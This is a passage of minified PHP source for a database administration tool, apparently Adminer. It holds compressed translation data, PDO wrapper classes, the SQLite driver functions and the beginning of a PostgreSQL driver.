#`�2�U��a�%틌�v� D%��8s��ZN]��\"�^��9zW%�s\0]ao��<�a#Fi�\\V�M�]<D�s��B ؀��6L�@9�c���G)\"�o#�I�����7�ӕjZ�3r�V��TK��!ͺl�^�4��1t�)�N�zL�^:<Y�C����]I�5��a�N���6�T�X��Ʊ��ʍ�0�6Q��~\$��*\r��ۭ!\0�N���c6 \r�x��acH9w#�0���֔p�:�a@���,ND�)�NR�I�_�jIq�~���)J���eiDQ>c��\r��цe&���F�����S��H���(��E>j�j�U��)�<�G�C������}��7?��Cs5a��Ð�Ԛ���8��tOA�>'�\0��\"�Q\n)F=e ����S\rM��>�sTj�S��D��8 V!�Y�X�CY�W�eH;pܪa\$&S�_�Q�(E��B�����]�d2��1�HN��ja�ʇ!���V��3C���]�sx/\r�xQ\$Mi�\rT9�PGU!���7\\\\��@��8�D��NIН\0�� �H\"��|`�(�0D����㼍]����<h*�\nL:3^e�{b�;��a�C�����l!aa.&���RnND\"¸Z�VU�0�`�y�\n^cI.�2�heؒ�\r����t�X�:�9���lw���K����T�82�Rb��!Ø�@'�0�2�9�*�<G�\"���z���^H�f,ͯ6Hcq�k0�ӼU�\0b\r!�+��H�����#I�֕�iT���1*II���2�D�\nA,�Y��	`W���p \n�@\"�l=��&[Zh��b�/� �-�\"T_�L�V��L�As��#�EQwl�]�,��]�&�����o��I�D �O	�i��1�?r�[�oU�#q�*Z�r��G��YQ�	�4���'b	�b�F>c�!�8P�h	W��k!��K��w�Kl尧�p0����T�a�BS?#g	߹'�t��<�ī�o�2C�h�0B�3��;�U���\"Oe-�86���,%��HA6�\0�nVstF\"�1��Q�-�Mw�Y>7I�\n|��rQhb�	��\$������G!�cv�B�ݖx~Ρ(r˟&_�>�pT!\$\n@�I�t��tQ�O8Ñ���O�S͌\\��+��A�-v��¼Q�Ok�5��V�@A�x�I\"�r�1�%Ŀ���A\n�-k�f�p��B�xT�\"-:\\P�����\nWj9�RP��i(#�P�zSm��գ���t't3J�,%��C�J�+d�k�~��ܩ�	A2����\"ps\n�T.�+EYK3Ea^Zr��ls��x��z/�~�<�q���C��ad9�ش}�O��}nt�/�q&���.Zܣ���\\�u���H%�X9���c\"�LaH9D\0�a��8*�~w�ЌY����ҺwJ���B�T.q�,1�d^	TB��j��6�ҋ�M5G5\"���rk}t8��{�rܙ�W������'�����������|�C�<��~�.C��ik�n�Ժ��qǐ�)�\\���{���/_�E�9D����C����������������1Q���\\��_o ���\$S~FD�,�����FoP���{G+��C��۾�u���?�������a����+��\$~��|���OI\0BP�a\0�R.�C�!t�&�l��-Ŝp����^�mr��<��Z̋��[¡��/��PN��p1��q�<0�v����T�r팙��<�~�!6φ�.���p^��P��pVZ�!\n�pY\ne�ɐ��pH�p�p�\\��дZ�����܅P\0<l���\n�����KP�ɬ��0�/Il��Ї>-�F\$g��������B�	r�`���Rg���G-t�|у��˰�av�M쯢�GB��b&�B(�281TIm<:�D��D��H�ɬ��\r�VgX`��OF(b�Xv�f\r �w%x6��� ��D����\0�\n���p.�**;�j��0��^q��4#�z�ņ<�\\\0�q��f��.!���C���� ����g:P�Z�^��1��\r�\r�&2�R6-�#Q�;���*Ii�!.t?�\0.P.Ā��,�b��z�l�XI���[n���}'�\n���C\$2���Z\r�����#k'�b����Ĝ@��d�`o���q%k��L,�V�����1RhF\$6�Pt\n���\r�0���,��ơ�rZХ�&\$��&��'+lG%�����'Ky��\n�&g�������\$d@�	\0t	��@�\n`";break;case"zh-tw":$f="�^��%ӕ\\�r�����|%��u:H�B(\\�4��p�r��neRQ̡D8� S�\n�t*.t�I&�G�N��AʤS�V�:	t%9��Sy:\"<�r�ST�,#!��j6�1uL\0�����U:.��I9���B��K&]\nD�X�[��}-,�r����������&��a;D�x��r4��&�)��s3�S���t�\r�A��b���E�E1��ԣ�g:�x�]#0,'}üb1Q�\\y\0�V��E<���g��S� )ЪOLP\0��Δ�:}U���r���yZ��se�\\B��ABs�� @�2*bPr��\n���*�.�Oc���D\nt�\$��O-�1*\\CJY.R�D��L�GI,I��I�@H��ő�[��)r_ ��K�o��')tU��w/ax].J�2���ft(q�W��к��̤U���v��Y`\\��\ns�S�,��2���D4���9�Ax^;�p�2\r���9�x�3��(�N�\r��9�#}>)�6�\r �O��^0��{QW�Cx�Եc�4)�\"`��7GI\\@�<�(Q!^s���H�k�_��1(\\���S�m�l�vZ�q:,I<t��6WB��9\r���9����<�@��vlK�ɉvt��C�G)J��3� �:���@;#`�2ٶ=�����T\\Y��r�B�H��re��B���^�1IJD}�L�1Tb'1pM�	�|��B��P�I*[�E2[���#ccR۴�\0�1�#s�`���{�<�1I��q��7��\\�Ҍ��\\�}ξZv��]�O��&��7���m�)ebv���a_?���C�Ios�\\��<�4ߊ)\\_Zږ��dd8��L�(^l��3�e,�O��A����۴�!\0�Q���ӎc60\r�x��acR9y��0����t��:߷����DBib��#W�]<�>DY�!�i�O����9D��B\" ��>�\\��2!Pˆ��j2�yʐ�\0���r{��S*@ȥ��PJC�D�\"�5��Y+Ctޢ�\r��\n%�#������(�2!40�3`��Ma�M+��J����Р�*�Q*-F��\"��R�S*mN�����\"��9��X���5V� +�Ю��}/��1���XnV��hx/���Q\n��%`y��a���!� 捱#5!ÔJ�]���3�za��w���ܣ6F�N6`«�\0c�J�4������@�%��\\�K4i%m\n��#ţ�\n ( D!PB\nA����CI�j�EI�� L��4f�2��ঃ��6�l7��:�C������a\$G@��\$��dF Dq.&�����+��'���!\0O�	g��uQ(�	!��vJ�3�i_�vl�ڃ,~'\0��xm�ЂEEd���W��}��M�P	�L*)i@/�(M�*�0�\\(���ul�1��R*d̫h�f��7xi��`�}<���*yM�2���T\n�����S�R	a�/�0��ԥ�BP��O	��*�\0�B�EV�@�-�Il��Q �=���f�v��E����	�u���'DP]��p\"�a���w�%_�5q�L�ݹ,�O��\"�Ȼ5�w��w�2	Q�\$H�m���P:p�d�\\E��!KqH�\$D!XC�|Gb>͹�2�̜j�8�A!\n(��!f��`�J~�z�:���ʰS\r!�N�X�84�~z��yH����8�`�Y�R��b�vh�(w)b�o.�늰���r�Ĕ9�{�YS+�09�А\"���\0.n%%��^�ٳ�)���~��Kל3�t��<�1\0(֙�����1y�Z��b�AtuEض��0r�3�{Q\0�D@*�@��@ �yӻ�?)������E��'�(�\"���>:\\��<���@�Ly-��ǎma��O	q	��l~��\"|_����[x�����3�P��eb T�]�(DbWh�}f�w8�K	J�����)�|��<�N7� \$P�s�a'%\$�����댖��s�)v���^�\nnm��7�\$Z�k#A�‡0�D�A�1B�֏\$�D������,\\\";�E�	�sbT�|EL>]��w��xn�=�lZ�� U�Fuuu�JIg��B����`:��\\�|N�a�ko}�(w #m�YʢU�(�j@%�\"T\0ୁ��eb7��4Q�/��2�[�K{VY[yo��9��\"&���r�f�.�4�%�߼�4ܔ��d��kp��ۭ����K^�Uw=�=�M�ߊ�w첃����~[}�rp=�׻�ք����E_D+�����?����}��<���Y�4-~�����������u�29�0���\$9L���� ]�%�n��E� 9K�t�B`��*�P�ʾ�t��I�@��:L#�(�d@njO�#\"��2�o�1\0�����1G?O0�N�[��\\\"���Լp��І�-*�P�B��O{	���,n�� ��퐬f��	O{m\"�o�\r%	l�����Z�\n��^hP, ��\"|�n�-�d��&�*!!����Q	N�s�LEl·�ΪHd����]�|*Q%�6D�EoF���m����J?Q\0[k�J�As�/M���G��+���uF�QiP�<��!2��f����QN��P�%�a��L�Ѩ)dhF�q\r��m0>\r4���C��Q��\"	����\"��h\"��\nr�DK�׍�\0��	f`P4�R��*A��.VHYAF�.z%�b�Hx@B.��E�ݎ�͞?#�ͨ�@�@�`�x@�\r`@��c�<6'�W@�ǚXct�\0\r�ꧩL|�v\n���Z\0@S�H��7ObsȒ٭����#��v�dHN�*��'RxY�.���΀9�C��Dv�`͑`2 �\r��\r�43C\\6��.Ҡ<*)a8���:�nK�.g\nƼ�Nz���ςz+�2BX����\"'�\nb�YR��H&l�J2�2�\0ʩ\0�	@R��7S5\0000�u,���fd%���\\/L��E8oQ83 �a,\"͋�������0A\0 fs�,�G\"�E�����a��R��,��2��\$�� ���кc�3�?Q�Q#�����fF�n@�	\0t	��@�\n`";break;}$mi=array();foreach(explode("\n",lzw_decompress($f))as$X)$mi[]=(strpos($X,"\t")?explode("\t",$X):$X);return$mi;}if(!$mi){$mi=get_translations($ca);$_SESSION["translations"]=$mi;}if(extension_loaded('pdo')){class
Min_PDO
extends
PDO{var$_result,$server_info,$affected_rows,$errno,$error;function
__construct(){global$b;$Xf=array_search("SQL",$b->operators);if($Xf!==false)unset($b->operators[$Xf]);}function
dsn($jc,$V,$G,$rf=array()){try{parent::__construct($jc,$V,$G,$rf);}catch(Exception$Ac){auth_error(h($Ac->getMessage()));}$this->setAttribute(13,array('Min_PDOStatement'));$this->server_info=@$this->getAttribute(4);}function
query($H,$wi=false){$I=parent::query($H);$this->error="";if(!$I){list(,$this->errno,$this->error)=$this->errorInfo();return
false;}$this->store_result($I);return$I;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result($I=null){if(!$I){$I=$this->_result;if(!$I)return
false;}if($I->columnCount()){$I->num_rows=$I->rowCount();return$I;}$this->affected_rows=$I->rowCount();return
true;}function
next_result(){if(!$this->_result)return
false;$this->_result->_offset=0;return@$this->_result->nextRowset();}function
result($H,$p=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch();return$K[$p];}}class
Min_PDOStatement
extends
PDOStatement{var$_offset=0,$num_rows;function
fetch_assoc(){return$this->fetch(2);}function
fetch_row(){return$this->fetch(3);}function
fetch_field(){$K=(object)$this->getColumnMeta($this->_offset++);$K->orgtable=$K->table;$K->orgname=$K->name;$K->charsetnr=(in_array("blob",(array)$K->flags)?63:0);return$K;}}}$ec=array();class
Min_SQL{var$_conn;function
__construct($g){$this->_conn=$g;}function
select($R,$M,$Z,$md,$tf=array(),$_=1,$F=0,$fg=false){global$b,$y;$Td=(count($md)<count($M));$H=$b->selectQueryBuild($M,$Z,$md,$tf,$_,$F);if(!$H)$H="SELECT".limit(($_GET["page"]!="last"&&$_!=""&&$md&&$Td&&$y=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$M)."\nFROM ".table($R),($Z?"\nWHERE ".implode(" AND ",$Z):"").($md&&$Td?"\nGROUP BY ".implode(", ",$md):"").($tf?"\nORDER BY ".implode(", ",$tf):""),($_!=""?+$_:null),($F?$_*$F:0),"\n");$vh=microtime(true);$J=$this->_conn->query($H);if($fg)echo$b->selectQuery($H,$vh,!$J);return$J;}function
delete($R,$pg,$_=0){$H="FROM ".table($R);return
queries("DELETE".($_?limit1($R,$H,$pg):" $H$pg"));}function
update($R,$P,$pg,$_=0,$N="\n"){$Ni=array();foreach($P
as$z=>$X)$Ni[]="$z = $X";$H=table($R)." SET$N".implode(",$N",$Ni);return
queries("UPDATE".($_?limit1($R,$H,$pg,$N):" $H$pg"));}function
insert($R,$P){return
queries("INSERT INTO ".table($R).($P?" (".implode(", ",array_keys($P)).")\nVALUES (".implode(", ",$P).")":" DEFAULT VALUES"));}function
insertUpdate($R,$L,$dg){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}function
convertSearch($v,$X,$p){return$v;}function
value($X,$p){return$X;}function
quoteBinary($Rg){return
q($Rg);}function
warnings(){return'';}function
tableHelp($D){}}$ec["sqlite"]="SQLite 3";$ec["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){$ag=array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite");define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class
Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function
__construct($Uc){$this->_link=new
SQLite3($Uc);$Qi=$this->_link->version();$this->server_info=$Qi["versionString"];}function
query($H){$I=@$this->_link->query($H);$this->error="";if(!$I){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return
false;}elseif($I->numColumns())return
new
Min_Result($I);$this->affected_rows=$this->_link->changes();return
true;}function
quote($Q){return(is_utf8($Q)?"'".$this->_link->escapeString($Q)."'":"x'".reset(unpack('H*',$Q))."'");}function
store_result(){return$this->_result;}function
result($H,$p=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetchArray();return$K[$p];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;}function
fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$d=$this->_offset++;$U=$this->_result->columnType($d);return(object)array("name"=>$this->_result->columnName($d),"type"=>$U,"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function
__desctruct(){return$this->_result->finalize();}}}else{class
Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function
__construct($Uc){$this->server_info=sqlite_libversion();$this->_link=new
SQLiteDatabase($Uc);}function
query($H,$wi=false){$Me=($wi?"unbufferedQuery":"query");$I=@$this->_link->$Me($H,SQLITE_BOTH,$o);$this->error="";if(!$I){$this->error=$o;return
false;}elseif($I===true){$this->affected_rows=$this->changes();return
true;}return
new
Min_Result($I);}function
quote($Q){return"'".sqlite_escape_string($Q)."'";}function
store_result(){return$this->_result;}function
result($H,$p=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetch();return$K[$p];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;if(method_exists($I,'numRows'))$this->num_rows=$I->numRows();}function
fetch_assoc(){$K=$this->_result->fetch(SQLITE_ASSOC);if(!$K)return
false;$J=array();foreach($K
as$z=>$X)$J[($z[0]=='"'?idf_unescape($z):$z)]=$X;return$J;}function
fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function
fetch_field(){$D=$this->_result->fieldName($this->_offset++);$Tf='(\\[.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($Tf\\.)?$Tf\$~",$D,$C)){$R=($C[3]!=""?$C[3]:idf_unescape($C[2]));$D=($C[5]!=""?$C[5]:idf_unescape($C[4]));}return(object)array("name"=>$D,"orgname"=>$D,"orgtable"=>$R,);}}}}elseif(extension_loaded("pdo_sqlite")){class
Min_SQLite
extends
Min_PDO{var$extension="PDO_SQLite";function
__construct($Uc){$this->dsn(DRIVER.":$Uc","","");}}}if(class_exists("Min_SQLite")){class
Min_DB
extends
Min_SQLite{function
__construct(){parent::__construct(":memory:");$this->query("PRAGMA foreign_keys = 1");}function
select_db($Uc){if(is_readable($Uc)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$Uc)?$Uc:dirname($_SERVER["SCRIPT_FILENAME"])."/$Uc")." AS a")){parent::__construct($Uc);$this->query("PRAGMA foreign_keys = 1");return
true;}return
false;}function
multi_query($H){return$this->_result=$this->query($H);}function
next_result(){return
false;}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$L,$dg){$Ni=array();foreach($L
as$P)$Ni[]="(".implode(", ",$P).")";return
queries("REPLACE INTO ".table($R)." (".implode(", ",array_keys(reset($L))).") VALUES\n".implode(",\n",$Ni));}function
tableHelp($D){if($D=="sqlite_sequence")return"fileformat2.html#seqtab";if($D=="sqlite_master")return"fileformat2.html#$D";}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){return
new
Min_DB;}function
get_databases(){return
array();}function
limit($H,$Z,$_,$E=0,$N=" "){return" $H$Z".($_!==null?$N."LIMIT $_".($E?" OFFSET $E":""):"");}function
limit1($R,$H,$Z,$N="\n"){global$g;return(preg_match('~^INTO~',$H)||$g->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($H,$Z,1,0,$N):" $H WHERE rowid = (SELECT rowid FROM ".table($R).$Z.$N."LIMIT 1)");}function
db_collation($m,$qb){global$g;return$g->result("PRAGMA encoding");}function
engines(){return
array();}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name",1);}function
count_tables($l){return
array();}function
table_status($D=""){global$g;$J=array();foreach(get_rows("SELECT name AS Name, type AS Engine, 'rowid' AS Oid, '' AS Auto_increment FROM sqlite_master WHERE type IN ('table', 'view') ".($D!=""?"AND name = ".q($D):"ORDER BY name"))as$K){$K["Rows"]=$g->result("SELECT COUNT(*) FROM ".idf_escape($K["Name"]));$J[$K["Name"]]=$K;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$K)$J[$K["name"]]["Auto_increment"]=$K["seq"];return($D!=""?$J[$D]:$J);}function
is_view($S){return$S["Engine"]=="view";}function
fk_support($S){global$g;return!$g->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($R){global$g;$J=array();$dg="";foreach(get_rows("PRAGMA table_info(".table($R).")")as$K){$D=$K["name"];$U=strtolower($K["type"]);$Sb=$K["dflt_value"];$J[$D]=array("field"=>$D,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~'(.*)'~",$Sb,$C)?str_replace("''","'",$C[1]):($Sb=="NULL"?null:$Sb)),"null"=>!$K["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$K["pk"],);if($K["pk"]){if($dg!="")$J[$dg]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$J[$D]["auto_increment"]=true;$dg=$D;}}$qh=$g->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$qh,$ze,PREG_SET_ORDER);foreach($ze
as$C){$D=str_replace('""','"',preg_replace('~^"|"$~','',$C[1]));if($J[$D])$J[$D]["collation"]=trim($C[3],"'");}return$J;}function
indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$qh=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*"|`[^`]*`)++)~i',$qh,$C)){$J[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+|(?:`[^`]*+`)+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$C[1],$ze,PREG_SET_ORDER);foreach($ze
as$C){$J[""]["columns"][]=idf_unescape($C[2]).$C[4];$J[""]["descs"][]=(preg_match('~DESC~i',$C[5])?'1':null);}}if(!$J){foreach(fields($R)as$D=>$p){if($p["primary"])$J[""]=array("type"=>"PRIMARY","columns"=>array($D),"lengths"=>array(),"descs"=>array(null));}}$th=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($R),$h);foreach(get_rows("PRAGMA index_list(".table($R).")",$h)as$K){$D=$K["name"];$w=array("type"=>($K["unique"]?"UNIQUE":"INDEX"));$w["lengths"]=array();$w["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($D).")",$h)as$Qg){$w["columns"][]=$Qg["name"];$w["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($D).' ON '.idf_escape($R),'~').' \((.*)\)$~i',$th[$D],$Ag)){preg_match_all('/("[^"]*+")+( DESC)?/',$Ag[2],$ze);foreach($ze[2]as$z=>$X){if($X)$w["descs"][$z]='1';}}if(!$J[""]||$w["type"]!="UNIQUE"||$w["columns"]!=$J[""]["columns"]||$w["descs"]!=$J[""]["descs"]||!preg_match("~^sqlite_~",$D))$J[$D]=$w;}return$J;}function
foreign_keys($R){$J=array();foreach(get_rows("PRAGMA foreign_key_list(".table($R).")")as$K){$r=&$J[$K["id"]];if(!$r)$r=$K;$r["source"][]=$K["from"];$r["target"][]=$K["to"];}return$J;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\\s+~iU','',$g->result("SELECT sql FROM sqlite_master WHERE name = ".q($D))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($m){return
false;}function
error(){global$g;return
h($g->error);}function
check_sqlite_name($D){global$g;$Kc="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($Kc)\$~",$D)){$g->error=lang(21,str_replace("|",", ",$Kc));return
false;}return
true;}function
create_database($m,$pb){global$g;if(file_exists($m)){$g->error=lang(22);return
false;}if(!check_sqlite_name($m))return
false;try{$A=new
Min_SQLite($m);}catch(Exception$Ac){$g->error=$Ac->getMessage();return
false;}$A->query('PRAGMA encoding = "UTF-8"');$A->query('CREATE TABLE adminer (i)');$A->query('DROP TABLE adminer');return
true;}function
drop_databases($l){global$g;$g->__construct(":memory:");foreach($l
as$m){if(!@unlink($m)){$g->error=lang(22);return
false;}}return
true;}function
rename_database($D,$pb){global$g;if(!check_sqlite_name($D))return
false;$g->__construct(":memory:");$g->error=lang(22);return@rename(DB,$D);}function
auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){$Hi=($R==""||$bd);foreach($q
as$p){if($p[0]!=""||!$p[1]||$p[2]){$Hi=true;break;}}$c=array();$Bf=array();foreach($q
as$p){if($p[1]){$c[]=($Hi?$p[1]:"ADD ".implode($p[1]));if($p[0]!="")$Bf[$p[0]]=$p[1][0];}}if(!$Hi){foreach($c
as$X){if(!queries("ALTER TABLE ".table($R)." $X"))return
false;}if($R!=$D&&!queries("ALTER TABLE ".table($R)." RENAME TO ".table($D)))return
false;}elseif(!recreate_table($R,$D,$c,$Bf,$bd))return
false;if($Ma)queries("UPDATE sqlite_sequence SET seq = $Ma WHERE name = ".q($D));return
true;}function
recreate_table($R,$D,$q,$Bf,$bd,$x=array()){if($R!=""){if(!$q){foreach(fields($R)as$z=>$p){if($x)$p["auto_increment"]=0;$q[]=process_field($p,$p);$Bf[$z]=idf_escape($z);}}$eg=false;foreach($q
as$p){if($p[6])$eg=true;}$hc=array();foreach($x
as$z=>$X){if($X[2]=="DROP"){$hc[$X[1]]=true;unset($x[$z]);}}foreach(indexes($R)as$be=>$w){$e=array();foreach($w["columns"]as$z=>$d){if(!$Bf[$d])continue
2;$e[]=$Bf[$d].($w["descs"][$z]?" DESC":"");}if(!$hc[$be]){if($w["type"]!="PRIMARY"||!$eg)$x[]=array($w["type"],$be,$e);}}foreach($x
as$z=>$X){if($X[0]=="PRIMARY"){unset($x[$z]);$bd[]="  PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($R)as$be=>$r){foreach($r["source"]as$z=>$d){if(!$Bf[$d])continue
2;$r["source"][$z]=idf_unescape($Bf[$d]);}if(!isset($bd[" $be"]))$bd[]=" ".format_foreign_key($r);}queries("BEGIN");}foreach($q
as$z=>$p)$q[$z]="  ".implode($p);$q=array_merge($q,array_filter($bd));if(!queries("CREATE TABLE ".table($R!=""?"adminer_$D":$D)." (\n".implode(",\n",$q)."\n)"))return
false;if($R!=""){if($Bf&&!queries("INSERT INTO ".table("adminer_$D")." (".implode(", ",$Bf).") SELECT ".implode(", ",array_map('idf_escape',array_keys($Bf)))." FROM ".table($R)))return
false;$si=array();foreach(triggers($R)as$qi=>$Yh){$pi=trigger($qi);$si[]="CREATE TRIGGER ".idf_escape($qi)." ".implode(" ",$Yh)." ON ".table($D)."\n$pi[Statement]";}if(!queries("DROP TABLE ".table($R)))return
false;queries("ALTER TABLE ".table("adminer_$D")." RENAME TO ".table($D));if(!alter_indexes($D,$x))return
false;foreach($si
as$pi){if(!queries($pi))return
false;}queries("COMMIT");}return
true;}function
index_sql($R,$U,$D,$e){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($D!=""?$D:uniqid($R."_"))." ON ".table($R)." $e";}function
alter_indexes($R,$c){foreach($c
as$dg){if($dg[0]=="PRIMARY")return
recreate_table($R,$R,array(),array(),array(),$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($R,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($T){return
apply_queries("DELETE FROM",$T);}function
drop_views($Si){return
apply_queries("DROP VIEW",$Si);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
move_tables($T,$Si,$Ph){return
false;}function
trigger($D){global$g;if($D=="")return
array("Statement"=>"BEGIN\n\t;\nEND");$v='(?:[^`"\\s]+|`[^`]*`|"[^"]*")+';$ri=trigger_options();preg_match("~^CREATE\\s+TRIGGER\\s*$v\\s*(".implode("|",$ri["Timing"]).")\\s+([a-z]+)(?:\\s+OF\\s+($v))?\\s+ON\\s*$v\\s*(?:FOR\\s+EACH\\s+ROW\\s)?(.*)~is",$g->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($D)),$C);$cf=$C[3];return
array("Timing"=>strtoupper($C[1]),"Event"=>strtoupper($C[2]).($cf?" OF":""),"Of"=>($cf[0]=='`'||$cf[0]=='"'?idf_unescape($cf):$cf),"Trigger"=>$D,"Statement"=>$C[4],);}function
triggers($R){$J=array();$ri=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R))as$K){preg_match('~^CREATE\\s+TRIGGER\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*('.implode("|",$ri["Timing"]).')\\s*(.*)\\s+ON\\b~iU',$K["sql"],$C);$J[$K["name"]]=array($C[1],$C[2]);}return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
begin(){return
queries("BEGIN");}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ROWID()");}function
explain($g,$H){return$g->query("EXPLAIN QUERY PLAN $H");}function
found_rows($S,$Z){}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($Ug){return
true;}function
create_sql($R,$Ma,$Ah){global$g;$J=$g->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($R));foreach(indexes($R)as$D=>$w){if($D=='')continue;$J.=";\n\n".index_sql($R,$w['type'],$D,"(".implode(", ",array_map('idf_escape',$w['columns'])).")");}return$J;}function
truncate_sql($R){return"DELETE FROM ".table($R);}function
use_sql($k){}function
trigger_sql($R){return
implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R)));}function
show_variables(){global$g;$J=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$z)$J[$z]=$g->result("PRAGMA $z");return$J;}function
show_status(){$J=array();foreach(get_vals("PRAGMA compile_options")as$qf){list($z,$X)=explode("=",$qf,2);$J[$z]=$X;}return$J;}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
support($Pc){return
preg_match('~^(columns|database|drop_col|dump|indexes|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Pc);}$y="sqlite";$vi=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);$_h=array_keys($vi);$Bi=array();$of=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$jd=array("hex","length","lower","round","unixepoch","upper");$pd=array("avg","count","count distinct","group_concat","max","min","sum");$mc=array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",));}$ec["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){$ag=array("PgSQL","PDO_PgSQL");define("DRIVER","pgsql");if(extension_loaded("pgsql")){class
Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error;function
_error($xc,$o){if(ini_bool("html_errors"))$o=html_entity_decode(strip_tags($o));$o=preg_replace('~^[^:]*: ~','',$o);$this->error=$o;}function
connect($O,$V,$G){global$b;$m=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($O,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($G,"'\\")."'";$this->_link=@pg_connect("$this->_string dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$m!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$Qi=pg_version($this->_link);$this->server_info=$Qi["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function
quote($Q){return"'".pg_escape_string($this->_link,$Q)."'";}function
value($X,$p){return($p["type"]=="bytea"?pg_unescape_bytea($X):$X);}function
quoteBinary($Q){return"'".pg_escape_bytea($this->_link,$Q)."'";}function
